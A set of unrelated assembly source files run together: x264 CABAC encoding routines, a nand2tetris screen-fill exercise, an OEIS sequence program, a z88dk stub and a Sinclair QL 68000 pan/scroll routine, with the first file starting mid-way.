coeff_last64_avx2 cextern coeff_last64_avx512 COEFF_LAST_TABLE sse2, mmx2, sse2, sse2 COEFF_LAST_TABLE lzcnt, lzcnt, lzcnt, lzcnt COEFF_LAST_TABLE avx2, lzcnt, avx2, lzcnt %if HIGH_BIT_DEPTH COEFF_LAST_TABLE avx512, avx512, avx512, avx512 %else COEFF_LAST_TABLE avx512, lzcnt, avx512, avx512 %endif %endif coeff_abs_level1_ctx: db 1, 2, 3, 4, 0, 0, 0, 0 coeff_abs_levelgt1_ctx: db 5, 5, 5, 5, 6, 7, 8, 9 coeff_abs_level_transition: db 1, 2, 3, 3, 4, 5, 6, 7 db 4, 4, 4, 4, 5, 6, 7, 7 SECTION .text cextern_common cabac_range_lps cextern_common cabac_transition cextern_common cabac_renorm_shift cextern_common cabac_entropy cextern cabac_size_unary cextern cabac_transition_unary cextern_common significant_coeff_flag_offset cextern_common significant_coeff_flag_offset_8x8 cextern_common last_coeff_flag_offset cextern_common last_coeff_flag_offset_8x8 cextern_common coeff_abs_level_m1_offset cextern_common count_cat_m1 cextern cabac_encode_ue_bypass %if ARCH_X86_64 %define pointer resq %else %define pointer resd %endif struc cb .low: resd 1 .range: resd 1 .queue: resd 1 .bytes_outstanding: resd 1 .start: pointer 1 .p: pointer 1 .end: pointer 1 align 64, resb 1 .bits_encoded: resd 1 .state: resb 1024 endstruc %macro LOAD_GLOBAL 3-5 0 ; dst, base, off1, off2, tmp %if ARCH_X86_64 == 0 movzx %1, byte [%2+%3+%4] %elifidn %4, 0 movzx %1, byte [%2+%3+r7-$$] %else lea %5, [r7+%4] movzx %1, byte [%2+%3+%5-$$] %endif %endmacro %macro CABAC 1 ; t3 must be ecx, since it's used for shift. %if WIN64 DECLARE_REG_TMP 3,1,2,0,5,6,4,4 %elif ARCH_X86_64 DECLARE_REG_TMP 0,1,2,3,4,5,6,6 %else DECLARE_REG_TMP 0,4,2,1,3,5,6,2 %endif cglobal cabac_encode_decision_%1, 1,7 movifnidn t1d, r1m mov t5d, [r0+cb.range] movzx t6d, byte [r0+cb.state+t1] movifnidn t0, r0 ; WIN64 mov t4d, ~1 mov t3d, t5d and t4d, t6d shr t5d, 6 movifnidn t2d, r2m %if WIN64 PUSH r7 %endif %if ARCH_X86_64 lea r7, [$$] %endif LOAD_GLOBAL t5d, cabac_range_lps-4, t5, t4*2, t4 LOAD_GLOBAL t4d, cabac_transition, t2, t6*2, t4 and t6d, 1 sub t3d, t5d cmp t6d, t2d mov t6d, [t0+cb.low] lea t2, [t6+t3] cmovne t3d, t5d cmovne t6d, t2d mov [t0+cb.state+t1], t4b ;cabac_encode_renorm mov t4d, t3d %ifidn %1, bmi2 lzcnt t3d, t3d sub t3d, 23 shlx t4d, t4d, t3d shlx t6d, t6d, t3d %else shr t3d, 3 LOAD_GLOBAL t3d, cabac_renorm_shift, t3 shl t4d, t3b shl t6d, t3b %endif %if WIN64 POP r7 %endif mov [t0+cb.range], t4d add t3d, [t0+cb.queue] jge cabac_putbyte_%1 .update_queue_low: mov [t0+cb.low], t6d mov [t0+cb.queue], t3d RET cglobal cabac_encode_bypass_%1, 2,3 mov t7d, [r0+cb.low] and r1d, [r0+cb.range] lea t7d, [t7*2+r1] movifnidn t0, r0 ; WIN64 mov t3d, [r0+cb.queue] inc t3d %if ARCH_X86_64 ; .putbyte compiles to nothing but a jmp jge cabac_putbyte_%1 %else jge .putbyte %endif mov [t0+cb.low], t7d mov [t0+cb.queue], t3d RET %if ARCH_X86_64 == 0 .putbyte: PROLOGUE 0,7 movifnidn t6d, t7d jmp cabac_putbyte_%1 %endif %ifnidn %1,bmi2 cglobal cabac_encode_terminal_%1, 1,3 sub dword [r0+cb.range], 2 ; shortcut: the renormalization shift in terminal ; can only be 0 or 1 and is zero over 99% of the time. test dword [r0+cb.range], 0x100 je .renorm RET .renorm: shl dword [r0+cb.low], 1 shl dword [r0+cb.range], 1 inc dword [r0+cb.queue] jge .putbyte RET .putbyte: PROLOGUE 0,7 movifnidn t0, r0 ; WIN64 mov t3d, [r0+cb.queue] mov t6d, [t0+cb.low] %endif cabac_putbyte_%1: ; alive: t0=cb t3=queue t6=low %if WIN64 DECLARE_REG_TMP 3,6,1,0,2,5,4 %endif %ifidn %1, bmi2 add t3d, 10 shrx t2d, t6d, t3d bzhi t6d, t6d, t3d sub t3d, 18 %else mov t1d, -1 add t3d, 10 mov t2d, t6d shl t1d, t3b shr t2d, t3b ; out not t1d sub t3d, 18 and t6d, t1d %endif mov t5d, [t0+cb.bytes_outstanding] cmp t2b, 0xff ; FIXME is a 32bit op faster? jz .postpone mov t1, [t0+cb.p] add [t1-1], t2h dec t2h .loop_outstanding: mov [t1], t2h inc t1 dec t5d jge .loop_outstanding mov [t1-1], t2b mov [t0+cb.p], t1 .postpone: inc t5d mov [t0+cb.bytes_outstanding], t5d jmp mangle(private_prefix %+ _cabac_encode_decision_%1.update_queue_low) %endmacro CABAC asm CABAC bmi2 %if ARCH_X86_64 ; %1 = label name ; %2 = node_ctx init? %macro COEFF_ABS_LEVEL_GT1 2 %if %2 %define ctx 1 %else movzx r11d, byte [coeff_abs_level1_ctx+r2 GLOBAL] %define ctx r11 %endif movzx r9d, byte [r8+ctx] ; if( coeff_abs > 1 ) cmp r1d, 1 jg .%1_gt1 ; x264_cabac_encode_decision( cb, ctx_level+ctx, 0 ) movzx r10d, byte [cabac_transition+r9*2 GLOBAL] movzx r9d, word [cabac_entropy+r9*2 GLOBAL] lea r0d, [r0+r9+256] mov [r8+ctx], r10b %if %2 mov r2d, 1 %else movzx r2d, byte [coeff_abs_level_transition+r2 GLOBAL] %endif jmp .%1_end .%1_gt1: ; x264_cabac_encode_decision( cb, ctx_level+ctx, 1 ) movzx r10d, byte [cabac_transition+r9*2+1 GLOBAL] xor r9d, 1 movzx r9d, word [cabac_entropy+r9*2 GLOBAL] mov [r8+ctx], r10b add r0d, r9d %if %2 %define ctx 5 %else movzx r11d, byte [coeff_abs_levelgt1_ctx+r2 GLOBAL] %define ctx r11 %endif ; if( coeff_abs < 15 ) cmp r1d, 15 jge .%1_escape shl r1d, 7 ; x264_cabac_transition_unary[coeff_abs-1][cb->state[ctx_level+ctx]] movzx r9d, byte [r8+ctx] add r9d, r1d movzx r10d, byte [cabac_transition_unary-128+r9 GLOBAL] ; x264_cabac_size_unary[coeff_abs-1][cb->state[ctx_level+ctx]] movzx r9d, word [cabac_size_unary-256+r9*2 GLOBAL] mov [r8+ctx], r10b add r0d, r9d jmp .%1_gt1_end .%1_escape: ; x264_cabac_transition_unary[14][cb->state[ctx_level+ctx]] movzx r9d, byte [r8+ctx] movzx r10d, byte [cabac_transition_unary+128*14+r9 GLOBAL] ; x264_cabac_size_unary[14][cb->state[ctx_level+ctx]] movzx r9d, word [cabac_size_unary+256*14+r9*2 GLOBAL] add r0d, r9d mov [r8+ctx], r10b sub r1d, 14 %if cpuflag(lzcnt) lzcnt r9d, r1d xor r9d, 0x1f %else bsr r9d, r1d %endif ; bs_size_ue_big(coeff_abs-15)<<8 shl r9d, 9 ; (ilog2(coeff_abs-14)+1) << 8 lea r0d, [r0+r9+256] .%1_gt1_end: %if %2 mov r2d, 4 %else movzx r2d, byte [coeff_abs_level_transition+8+r2 GLOBAL] %endif .%1_end: %endmacro %macro LOAD_DCTCOEF 1 %if HIGH_BIT_DEPTH mov %1, [dct+r6*4] %else movzx %1, word [dct+r6*2] %endif %endmacro %macro ABS_DCTCOEFS 2 %if HIGH_BIT_DEPTH %define %%abs ABSD %else %define %%abs ABSW %endif %if mmsize == %2*SIZEOF_DCTCOEF %%abs m0, [%1], m1 mova [rsp], m0 %elif mmsize == %2*SIZEOF_DCTCOEF/2 %%abs m0, [%1+0*mmsize], m2 %%abs m1, [%1+1*mmsize], m3 mova [rsp+0*mmsize], m0 mova [rsp+1*mmsize], m1 %else %assign i 0 %rep %2*SIZEOF_DCTCOEF/(4*mmsize) %%abs m0, [%1+(4*i+0)*mmsize], m4 %%abs m1, [%1+(4*i+1)*mmsize], m5 %%abs m2, [%1+(4*i+2)*mmsize], m4 %%abs m3, [%1+(4*i+3)*mmsize], m5 mova [rsp+(4*i+0)*mmsize], m0 mova [rsp+(4*i+1)*mmsize], m1 mova [rsp+(4*i+2)*mmsize], m2 mova [rsp+(4*i+3)*mmsize], m3 %assign i i+1 %endrep %endif %endmacro %macro SIG_OFFSET 1 %if %1 movzx r11d, byte [r4+r6] %endif %endmacro %macro LAST_OFFSET 1 %if %1 movzx r11d, byte [last_coeff_flag_offset_8x8+r6 GLOBAL] %endif %endmacro %macro COEFF_LAST 2 ; table, ctx_block_cat lea r1, [%1 GLOBAL] movsxd r6, [r1+4*%2] add r6, r1 call r6 %endmacro ;----------------------------------------------------------------------------- ; void x264_cabac_block_residual_rd_internal_sse2 ( dctcoef *l, int b_interlaced, ; int ctx_block_cat, x264_cabac_t *cb ); ;----------------------------------------------------------------------------- ;%1 = 8x8 mode %macro CABAC_RESIDUAL_RD 2 %if %1 %define func cabac_block_residual_8x8_rd_internal %define maxcoeffs 64 %define dct rsp %else %define func cabac_block_residual_rd_internal %define maxcoeffs 16 %define dct r4 %endif cglobal func, 4,13,6,-maxcoeffs*SIZEOF_DCTCOEF lea r12, [$$] %define GLOBAL +r12-$$ shl r1d, 4 ; MB_INTERLACED*16 %if %1 lea r4, [significant_coeff_flag_offset_8x8+r1*4 GLOBAL] ; r12 = sig offset 8x8 %endif add r1d, r2d movzx r5d, word [significant_coeff_flag_offset+r1*2 GLOBAL] ; r5 = ctx_sig movzx r7d, word [last_coeff_flag_offset+r1*2 GLOBAL] ; r7 = ctx_last movzx r8d, word [coeff_abs_level_m1_offset+r2*2 GLOBAL] ; r8 = ctx_level ; abs() all the coefficients; copy them to the stack to avoid ; changing the originals. ; overreading is okay; it's all valid aligned data anyways. %if %1 ABS_DCTCOEFS r0, 64 %else mov r4, r0 ; r4 = dct and r4, ~SIZEOF_DCTCOEF ; handle AC coefficient case ABS_DCTCOEFS r4, 16 xor r4, r0 ; calculate our new dct pointer add r4, rsp ; restore AC coefficient offset %endif ; for improved OOE performance, run coeff_last on the original coefficients. COEFF_LAST %2, r2 ; coeff_last[ctx_block_cat]( dct ) ; we know on 64-bit that the SSE2 versions of this function only ; overwrite r0, r1, and rax (r6). last64 overwrites r2 too, but we ; don't need r2 in 8x8 mode. mov r0d, [r3+cb.bits_encoded] ; r0 = cabac.f8_bits_encoded ; pre-add some values to simplify addressing add r3, cb.state add r5, r3 add r7, r3 add r8, r3 ; precalculate cabac state pointers ; if( last != count_cat_m1[ctx_block_cat] ) %if %1 cmp r6b, 63 %else cmp r6b, [count_cat_m1+r2 GLOBAL] %endif je .skip_last_sigmap ; in 8x8 mode we have to do a bit of extra calculation for ctx_sig/last, ; so we'll use r11 for this. %if %1 %define siglast_ctx r11 %else %define siglast_ctx r6 %endif ; x264_cabac_encode_decision( cb, ctx_sig + last, 1 ) ; x264_cabac_encode_decision( cb, ctx_last + last, 1 ) SIG_OFFSET %1 movzx r1d, byte [r5+siglast_ctx] movzx r9d, byte [cabac_transition+1+r1*2 GLOBAL] xor r1d, 1 movzx r1d, word [cabac_entropy+r1*2 GLOBAL] mov [r5+siglast_ctx], r9b add r0d, r1d LAST_OFFSET %1 movzx r1d, byte [r7+siglast_ctx] movzx r9d, byte [cabac_transition+1+r1*2 GLOBAL] xor r1d, 1 movzx r1d, word [cabac_entropy+r1*2 GLOBAL] mov [r7+siglast_ctx], r9b add r0d, r1d .skip_last_sigmap: LOAD_DCTCOEF r1d COEFF_ABS_LEVEL_GT1 last, 1 ; for( int i = last-1 ; i >= 0; i-- ) dec r6d jl .end .coeff_loop: LOAD_DCTCOEF r1d ; if( l[i] ) SIG_OFFSET %1 movzx r9d, byte [r5+siglast_ctx] test r1d, r1d jnz .coeff_nonzero ; x264_cabac_encode_decision( cb, ctx_sig + i, 0 ) movzx r10d, byte [cabac_transition+r9*2 GLOBAL] movzx r9d, word [cabac_entropy+r9*2 GLOBAL] mov [r5+siglast_ctx], r10b add r0d, r9d dec r6d jge .coeff_loop jmp .end .coeff_nonzero: ; x264_cabac_encode_decision( cb, ctx_sig + i, 1 ) movzx r10d, byte [cabac_transition+r9*2+1 GLOBAL] xor r9d, 1 movzx r9d, word [cabac_entropy+r9*2 GLOBAL] mov [r5+siglast_ctx], r10b add r0d, r9d ; x264_cabac_encode_decision( cb, ctx_last + i, 0 ); LAST_OFFSET %1 movzx r9d, byte [r7+siglast_ctx] movzx r10d, byte [cabac_transition+r9*2 GLOBAL] movzx r9d, word [cabac_entropy+r9*2 GLOBAL] mov [r7+siglast_ctx], r10b add r0d, r9d COEFF_ABS_LEVEL_GT1 coeff, 0 dec r6d jge .coeff_loop .end: mov [r3+cb.bits_encoded-cb.state], r0d RET %endmacro INIT_XMM sse2 CABAC_RESIDUAL_RD 0, coeff_last_sse2 CABAC_RESIDUAL_RD 1, coeff_last_sse2 INIT_XMM lzcnt CABAC_RESIDUAL_RD 0, coeff_last_lzcnt CABAC_RESIDUAL_RD 1, coeff_last_lzcnt INIT_XMM ssse3 CABAC_RESIDUAL_RD 0, coeff_last_sse2 CABAC_RESIDUAL_RD 1, coeff_last_sse2 INIT_XMM ssse3,lzcnt CABAC_RESIDUAL_RD 0, coeff_last_lzcnt CABAC_RESIDUAL_RD 1, coeff_last_lzcnt %if HIGH_BIT_DEPTH INIT_ZMM avx512 %else INIT_YMM avx512 %endif CABAC_RESIDUAL_RD 0, coeff_last_avx512 INIT_ZMM avx512 CABAC_RESIDUAL_RD 1, coeff_last_avx512 ;----------------------------------------------------------------------------- ; void x264_cabac_block_residual_internal_sse2 ( dctcoef *l, int b_interlaced, ; int ctx_block_cat, x264_cabac_t *cb ); ;----------------------------------------------------------------------------- %macro CALL_CABAC 0 %if cpuflag(bmi2) call cabac_encode_decision_bmi2 %else call cabac_encode_decision_asm %endif %if WIN64 ; move cabac back mov r0, r3 %endif %endmacro ; %1 = 8x8 mode ; %2 = dct register ; %3 = countcat ; %4 = name %macro SIGMAP_LOOP 3-4 .sigmap_%4loop: %if HIGH_BIT_DEPTH mov %2, [dct+r10*4] %else movsx %2, word [dct+r10*2] %endif %if %1 movzx r1d, byte [sigoff_8x8 + r10] add r1d, sigoffd %else lea r1d, [sigoffd + r10d] %endif test %2, %2 jz .sigmap_%4zero ; if( l[i] ) inc coeffidxd mov [coeffs+coeffidxq*4], %2 ; coeffs[++coeff_idx] = l[i]; mov r2d, 1 CALL_CABAC ; x264_cabac_encode_decision( cb, ctx_sig + sig_off, 1 ); %if %1 movzx r1d, byte [last_coeff_flag_offset_8x8 + r10 GLOBAL] add r1d, lastoffd %else lea r1d, [lastoffd + r10d] %endif cmp r10d, lastm ; if( i == last ) je .sigmap_%4last xor r2d, r2d CALL_CABAC ; x264_cabac_encode_decision( cb, ctx_last + last_off, 0 ); jmp .sigmap_%4loop_endcheck .sigmap_%4zero: xor r2d, r2d CALL_CABAC ; x264_cabac_encode_decision( cb, ctx_sig + sig_off, 0 ); .sigmap_%4loop_endcheck: inc r10d cmp r10d, %3 jne .sigmap_%4loop ; if( ++i == count_m1 ) %if HIGH_BIT_DEPTH mov %2, [dct+r10*4] %else movsx %2, word [dct+r10*2] %endif inc coeffidxd mov [coeffs+coeffidxq*4], %2 ; coeffs[++coeff_idx] = l[i] jmp .sigmap_%4end .sigmap_%4last: ; x264_cabac_encode_decision( cb, ctx_last + last_off, 1 ); mov r2d, 1 CALL_CABAC .sigmap_%4end: %if %1==0 jmp .level_loop_start %endif %endmacro %macro CABAC_RESIDUAL 1 cglobal cabac_block_residual_internal, 4,15,0,-4*64 ; if we use the same r7 as in cabac_encode_decision, we can cheat and save a register. lea r7, [$$] %define lastm [rsp+4*1] %define GLOBAL +r7-$$ shl r1d, 4 %define sigoffq r8 %define sigoffd r8d %define lastoffq r9 %define lastoffd r9d %define leveloffq r10 %define leveloffd r10d %define leveloffm [rsp+4*0] %define countcatd r11d %define sigoff_8x8 r12 %define coeffidxq r13 %define coeffidxd r13d %define dct r14 %define coeffs rsp+4*2 lea sigoff_8x8, [significant_coeff_flag_offset_8x8+r1*4 GLOBAL] add r1d, r2d movzx sigoffd, word [significant_coeff_flag_offset+r1*2 GLOBAL] movzx lastoffd, word [last_coeff_flag_offset+r1*2 GLOBAL] movzx leveloffd, word [coeff_abs_level_m1_offset+r2*2 GLOBAL] movzx countcatd, byte [count_cat_m1+r2 GLOBAL] mov coeffidxd, -1 mov dct, r0 mov leveloffm, leveloffd COEFF_LAST %1, r2 mov lastm, eax ; put cabac in r0; needed for cabac_encode_decision mov r0, r3 xor r10d, r10d cmp countcatd, 63 je .sigmap_8x8 SIGMAP_LOOP 0, r12d, countcatd .sigmap_8x8: SIGMAP_LOOP 1, r11d, 63, _8x8 .level_loop_start: ; we now have r8, r9, r11, r12, and r7/r14(dct) free for the main loop. %define nodectxq r8 %define nodectxd r8d mov leveloffd, leveloffm xor nodectxd, nodectxd .level_loop: mov r9d, [coeffs+coeffidxq*4] mov r11d, r9d sar r11d, 31 add r9d, r11d movzx r1d, byte [coeff_abs_level1_ctx+nodectxq GLOBAL] xor r9d, r11d add r1d, leveloffd cmp r9d, 1 jg .level_gt1 xor r2d, r2d CALL_CABAC movzx nodectxd, byte [coeff_abs_level_transition+nodectxq GLOBAL] jmp .level_sign .level_gt1: mov r2d, 1 CALL_CABAC movzx r14d, byte [coeff_abs_levelgt1_ctx+nodectxq GLOBAL] add r14d, leveloffd cmp r9d, 15 mov r12d, 15 cmovl r12d, r9d sub r12d, 2 jz .level_eq2 .level_gt1_loop: mov r1d, r14d mov r2d, 1 CALL_CABAC dec r12d jg .level_gt1_loop cmp r9d, 15 jge .level_bypass .level_eq2: mov r1d, r14d xor r2d, r2d CALL_CABAC jmp .level_gt1_end .level_bypass: lea r2d, [r9d-15] xor r1d, r1d push r0 ; we could avoid this if we implemented it in asm, but I don't feel like that ; right now. %if UNIX64 push r7 push r8 %else sub rsp, 40 ; shadow space and alignment %endif call cabac_encode_ue_bypass %if UNIX64 pop r8 pop r7 %else add rsp, 40 %endif pop r0 .level_gt1_end: movzx nodectxd, byte [coeff_abs_level_transition+8+nodectxq GLOBAL] .level_sign: mov r1d, r11d %if cpuflag(bmi2) call cabac_encode_bypass_bmi2 %else call cabac_encode_bypass_asm %endif %if WIN64 mov r0, r3 %endif dec coeffidxd jge .level_loop RET %endmacro INIT_XMM sse2 CABAC_RESIDUAL coeff_last_sse2 INIT_XMM lzcnt CABAC_RESIDUAL coeff_last_lzcnt INIT_XMM avx2 CABAC_RESIDUAL coeff_last_avx2 INIT_XMM avx512 CABAC_RESIDUAL coeff_last_avx512 %endif
// This file is part of www.nand2tetris.org // and the book "The Elements of Computing Systems" // by Nisan and Schocken, MIT Press. // File name: projects/04/Fill.asm // Runs an infinite loop that listens to the keyboard input. // When a key is pressed (any key), the program blackens the screen, // i.e. writes "black" in every pixel. When no key is pressed, the // program clears the screen, i.e. writes "white" in every pixel. // Put your code here. (INIT) @8192 D=A @maxLine M=D (SET) // set up counter @maxLine D=M @counter M=D // set up ptrScreen @SCREEN D=A @ptrScreen M=D (LINE1) // iteration @ptrScreen A=M M=-1 // incrementation @ptrScreen M=M+1 @counter M=M-1 D=M @LINE1 D; JNE (PRESSED) @KBD D=M @PRESSED D; JNE // JUMP UNSET (UNSET) // set up counter @maxLine D=M @counter M=D // set up ptrScreen @SCREEN D=A @ptrScreen M=D (LINE2) // iteration @ptrScreen A=M M=0 // incrementation @ptrScreen M=M+1 @counter M=M-1 D=M @LINE2 D; JNE (UNPRESSED) @KBD D=M @UNPRESSED D; JEQ @SET 0; JEQ
; A074529: a(n) = 2^n + 3^n + 7^n. ; 3,12,62,378,2498,17082,118442,825858,5771618,40373802,282535322,1977505938,13841822738,96890612922,678227872202,4747575891618,33232973681858,232630643258442,1628413985593082,11398896348158898,79792269785444978,558545874545734362,3909821079968241962,27368747434232483778,191581231663012728098,1341068620511287064682,9387480340189687242842,65712362371160011842258,459986536567617021867218,3219905755881810641073402,22539340290898150293699722,157775382035463482158810338,1104427674245773670789118338,7730993719713003593293584522,54116956037968788867839196602,378818692265714813262176364018,2651730845859803566483039857458,18562115921018024586496493622042,129934811447124370969164696597482,909543680129865193375907794679298,6366805760909040143407993707780578,44567640326363232373188622168609962,311973482284542480720323851380846362 mov $3,$0 seq $0,74509 ; a(n) = 1^n + 3^n + 7^n. add $0,6 mov $4,2 pow $4,$3 mov $2,$4 add $2,2 add $0,$2 sub $0,9
; size_t wv_stack_capacity(wv_stack_t *s) SECTION code_clib SECTION code_adt_wv_stack PUBLIC wv_stack_capacity EXTERN asm_wv_stack_capacity defc wv_stack_capacity = asm_wv_stack_capacity
; Move area (generalised PAN/SCROLL) V2.01  Tony Tebby ; Jonathan Oakley ; 2.01 FD REMOVED REFERENCES TO MOVEP for Q60/Q40 ; 2.02 added pt_cmbblk (wl) section con ; xref cn_maskl xref cn_maskr ; xdef cn_mblock xdef pt_mblock xdef pt_cmbblk ; ; d1 c size of section to move ; d2 c old origin in source area ; d3 c new origin in destination area ; a2 c row increment of source area ; a3 c row increment of destination area ; a4 c base address of source area ; a5 c base address of destination area ; a6/a7 preserved ; pt_mblock cn_mblock pt_cmbblk move.w a2,d0 calculate source address mulu d2,d0 row address add.l d0,a4 swap d2 now column move.w d2,d0 lsr.w #3,d0 shift out bits add.w d0,a4 and set column address add.w d0,a4 move.w a3,d0 calculate destination address mulu d3,d0 row address add.l d0,a5 swap d3 now column move.w d3,d0 lsr.w #3,d0 shift out bits add.w d0,a5 and set column address add.w d0,a5 moveq #0,d4 move.w d3,d4 set pixel offset sub.w d2,d4 moveq #%111,d0 get start pixel $$$ and.w d3,d0 move.l d1,d5 width swap d5 ;; add.w #16,d5 $$$ add.w d0,d5 end pixel moveq #%1111,d2 get end pixel (in long word) and.w d5,d2 add.w #$f,d5 round up to long word $$$ lsr.w #4,d5 length beq.l pmw_done none move.w d1,d3 number of rows subq.w #1,d3 beq.l pmw_done none and.w #%0111,d4 set pan distance $$$ bne.l pmw_pan ... there is a bit jsr cn_maskl(pc) set left hand mask move.w d2,d0 jsr cn_maskr(pc) set right hand mask cmp.l a4,a5 is it up? bgt.s pmw_down no ; simple operations: no pan or pan by word increment ; ; d3 row count-1 ; d5 long word count in row (-2) ; d6 first edge mask (long word, screen format) ; d7 second edge mask (long word, screen format) ; a2 row increment (source) ; a3 row increment (destination) ; a4 source window address ; a5 destination window address ; ; move up ; pmw_up move.w d5,d1 adjust increments lsl.w #2,d1 sub.w d1,a2 sub.w d1,a3 ; subq.w #2,d5 do masks overlap? bge.s pmw_uploop no and.l d7,d6 yes, combine masks ; pmw_uploop bsr.s pmw_suedge do edge for scroll ; move.w d5,d0 set number of long words to copy blt.s pmw_uplend one edge only moveq #3,d1 do by four long words and.w d0,d1 lsr.w #2,d0 neg.w d1 add.w d1,d1 jmp pmw_urlend(pc,d1.w) ; pmw_urloop move.l (a4)+,(a5)+ copy all of row move.l (a4)+,(a5)+ copy all of row move.l (a4)+,(a5)+ copy all of row move.l (a4)+,(a5)+ copy all of row pmw_urlend dbra d0,pmw_urloop ; exg d6,d7 swap masks bsr.s pmw_suedge do edge exg d7,d6 ; pmw_uplend add.l a2,a4 move to next row add.l a3,a5 dbra d3,pmw_uploop and carry on bra.l pmw_done ; ; do edge for scroll up ; pmw_suedge move.l (a4)+,d1 get LHS and.l d6,d1 mask edge move.l (a5),d0 get old screen contents not.l d6 invert mask and.l d6,d0 mask edge not.l d6 or.l d0,d1 move.l d1,(a5)+ set edge rts ; ; move down ; pmw_down move.w d5,d1 row length lsl.w #2,d1 in bytes move.w a2,d0 find end mulu d3,d0 start of last row add.l d0,a4 add.w d1,a4 end of last row move.w a3,d0 ditto for destination mulu d3,d0 add.l d0,a5 add.w d1,a5 sub.w d1,a2 adjust increments sub.w d1,a3 subq.w #2,d5 do masks overlap? bge.s pmw_dnloop no and.l d6,d7 yes, combine masks pmw_dnloop bsr.s pmw_sdedge do edge move.w d5,d0 blt.s pmw_dnlend moveq #3,d1 do by four long words and.w d0,d1 lsr.w #2,d0 neg.w d1 add.w d1,d1 jmp pmw_drlend(pc,d1.w) pmw_drloop move.l -(a4),-(a5) copy all of row move.l -(a4),-(a5) copy all of row move.l -(a4),-(a5) copy all of row move.l -(a4),-(a5) copy all of row pmw_drlend dbra d0,pmw_drloop exg d6,d7 swap masks bsr.s pmw_sdedge do edge exg d7,d6 pmw_dnlend sub.l a2,a4 move to previous row sub.l a3,a5 dbra d3,pmw_dnloop and carry on bra.l pmw_done ; do edges for scroll down pmw_sdedge move.l -(a4),d1 get RHS and.l d7,d1 mask edge move.l -(a5),d0 get old screen contents not.l d7 invert mask and.l d7,d0 mask edge not.l d7 or.l d0,d1 move.l d1,(a5) set edge rts page ; panning operation QL mode: pan by 1 to 7 pixels ; ; d3 row count-1 ; d4 bit shift (1 to 7) ; d5 long word count in row (-2) ; d6 first edge mask (word) ; d7 second edge mask (word) ; a1 + or - 4 long word increment ; a2 row increment (source) ; a3 row increment (destination) ; a4 source window address ; a5 destination window address ; ; pmw_pan cmp.w d0,d4 is shift greater than lh mask? ble.s pmw_pmask ... no addq.w #2,a4 yes, move source pointer on bset #31,d4 and set flag pmw_pmask moveq #-1,d6 set lh mask lsr.w d0,d6 moveq #-1,d7 set rh mask tst.w d2 beq.s pmw_pndir ... full lsr.w d2,d7 not.w d7 pmw_pndir move.w d5,d1 length of line asl.w #2,d1 in bytes cmp.l a4,a5 left or right bgt.s pmw_pnrt right sub.w d1,a2 reduce increments sub.w d1,a3 move.w #4,a1 and go in increasing order bra.s pmw_pnsrow ; pan right should be separate code pmw_pnrt move.w a2,d0 find end mulu d3,d0 start of last row add.l d0,a4 add.w d1,a4 end of last row subq.l #8,a4 !!!! move.w a3,d0 ditto for destination mulu d3,d0 add.l d0,a5 add.w d1,a5 subq.l #4,a5 last in last row move.w d1,d0 sub.w a2,d0 adjust increments move.w d0,a2 sub.w a3,d1 move.w d1,a3 move.w #-4,a1 and set go back bset #15,d4 mark swap exg d6,d7 masks the other way pmw_pnsrow subq.w #2,d5 do masks overlap? bge.s pmw_pnloop no and.w d7,d6 yes pmw_pnloop tst.w d4 left to right? bpl.s pmw_pnlft ; movep.l 0(a4),d1 get edge (green) move.b (a4),d1 lsl.l #8,d1 move.b 2(a4),d1 lsl.l #8,d1 move.b 4(a4),d1 lsl.l #8,d1 move.b 6(a4),d1 ; movep.l 1(a4),d2 get edge (red) move.b 1(a4),d2 lsl.l #8,d2 move.b 3(a4),d2 lsl.l #8,d2 move.b 5(a4),d2 lsl.l #8,d2 move.b 7(a4),d2 bra.s pmw_pnlsft pmw_pnlft tst.l d4 very left required? bpl.s pmw_leget ... no move.b -2(a4),d1 (we've already added 2 to a4 so it's OK) swap d1 get very edge move.b -1(a4),d2 swap d2 pmw_leget ; movep.w 0(a4),d1 get edge (green) move.b (a4),d1 lsl.w #8,d1 move.b 2(a4),d1 ; movep.w 1(a4),d2 get edge (red) move.b 1(a4),d2 lsl.w #8,d2 move.b 3(a4),d2 pmw_pnlsft ror.l d4,d1 ror.l d4,d2 shifted add.l a1,a4 and.w d6,d1 mask edges and.w d6,d2 ; movep.w 0(a5),d0 get screen contents (green) move.b (a5),d0 lsl.w #8,d0 move.b 2(a5),d0 not.w d6 and.w d6,d0 masked or.w d1,d0 combined ; movep.w d0,0(a5) and written move.b d0,2(a5) lsr.w #8,d0 move.b d0,(a5) ; movep.w 1(a5),d0 get screen contents (red) move.b 1(a5),d0 lsl.w #8,d0 move.b 3(a5),d0 and.w d6,d0 masked not.w d6 or.w d2,d0 combined ; movep.w d0,1(a5) and written move.b d0,3(a5) lsr.w #8,d0 move.b d0,1(a5) add.l a1,a5 move.w d5,d0 set number of long words to copy blt pmw_pnlend one edge only bra.s pmw_prlend pmw_prloop ; movep.w 0(a4),d1 get next (green) move.b (a4),d1 lsl.w #8,d1 move.b 2(a4),d1 ror.l d4,d1 shifted ; movep.w 1(a4),d2 get next (red) move.b 1(a4),d2 lsl.w #8,d2 move.b 3(a4),d2 ror.l d4,d2 shifted tst.w d4 right round? bpl.s pmw_prlinc no swap d1 swap d2 pmw_prlinc add.l a1,a4 ; movep.w d1,0(a5) move.b d1,2(a5) lsr.w #8,d1 move.b d1,(a5) ; movep.w d2,1(a5) and written move.b d2,3(a5) lsr.w #8,d2 move.b d2,1(a5) add.l a1,a5 pmw_prlend rol.l d4,d1 restore upper word rol.l d4,d2 tst.w d4 swap? bmi.s pmw_prldbra swap d1 swap d2 pmw_prldbra dbra d0,pmw_prloop ; movep.w 0(a4),d1 get edge (green) move.b (a4),d1 lsl.w #8,d1 move.b 2(a4),d1 ror.l d4,d1 shifted ; movep.w 1(a4),d2 get edge (red) move.b 1(a4),d2 lsl.w #8,d2 move.b 3(a4),d2 ror.l d4,d2 shifted tst.w d4 swap? bpl.s pmw_pninc ... no swap d1 swap d2 pmw_pninc add.l a1,a4 and.w d7,d1 mask edges and.w d7,d2 ; movep.w 0(a5),d0 get screen contents (green) move.b (a5),d0 lsl.w #8,d0 move.b 2(a5),d0 not.w d7 and.w d7,d0 masked or.w d1,d0 combined ; movep.w d0,0(a5) ... and written move.b d0,2(a5) lsr.w #8,d0 move.b d0,(a5) ; movep.w 1(a5),d0 get screen contents (red) move.b 1(a5),d0 lsl.w #8,d0 move.b 3(a5),d0 and.w d7,d0 masked not.w d7 or.w d2,d0 combined ; movep.w d0,1(a5) and written move.b d0,3(a5) lsr.w #8,d0 move.b d0,1(a5) add.l a1,a5 pmw_pnlend add.l a2,a4 move to next row add.l a3,a5 dbra d3,pmw_pnloop and carry on pmw_done rts end
